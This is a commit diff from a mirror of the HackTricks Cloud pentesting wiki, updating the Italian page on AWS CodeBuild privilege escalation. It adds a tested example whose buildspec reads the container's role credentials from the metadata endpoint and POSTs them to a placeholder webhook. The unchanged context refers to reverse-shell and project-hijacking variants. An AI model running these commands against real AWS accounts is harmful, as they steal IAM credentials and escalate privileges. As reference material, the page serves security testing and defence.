mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Example3" }}
|
||||
```bash
|
||||
# Generated by ex16x41, tested
|
||||
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
|
||||
|
||||
{
|
||||
"name": "user-project-1",
|
||||
"source": {
|
||||
"type": "NO_SOURCE",
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL"
|
||||
},
|
||||
"serviceRole": "ARN-OF-TARGET-ROLE"
|
||||
}
|
||||
|
||||
# Create a new CodeBuild project with the hook.json file
|
||||
aws codebuild create-project --cli-input-json file:///tmp/hook.json
|
||||
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name user-project-1
|
||||
|
||||
# Get Credentials output to webhook address
|
||||
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
@@ -140,17 +174,17 @@ aws codebuild start-build --project-name reverse-shell-project
|
||||
**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
|
||||
|
||||
> [!WARNING]
|
||||
> In un **contenitore Codebuild** il file `/codebuild/output/tmp/env.sh` contiene tutte le variabili d'ambiente necessarie per accedere alle **credenziali di metadata**.
|
||||
> In un **contenitore Codebuild**, il file `/codebuild/output/tmp/env.sh` contiene tutte le variabili d'ambiente necessarie per accedere alle **credenziali dei metadati**.
|
||||
|
||||
> Questo file contiene la **variabile d'ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** che contiene il **percorso URL** per accedere alle credenziali. Sarà qualcosa del tipo `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Aggiungi questo all'URL **`http://169.254.170.2/`** e sarai in grado di estrarre le credenziali del ruolo.
|
||||
> Aggiungi questo al URL **`http://169.254.170.2/`** e sarai in grado di estrarre le credenziali del ruolo.
|
||||
|
||||
> Inoltre, contiene anche la **variabile d'ambiente `ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere **informazioni di metadata sul contenitore**.
|
||||
> Inoltre, contiene anche la **variabile d'ambiente `ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere **informazioni sui metadati del contenitore**.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il ruolo IAM e rubare il token.
|
||||
Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il Ruolo IAM e rubare il token.
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -184,7 +218,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo di AWS Codebuild.
|
||||
**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
@@ -264,7 +298,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild associati.
|
||||
**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild allegati.
|
||||
|
||||
### SSM
|
||||
|
||||
|
||||
Reference in New Issue
Block a user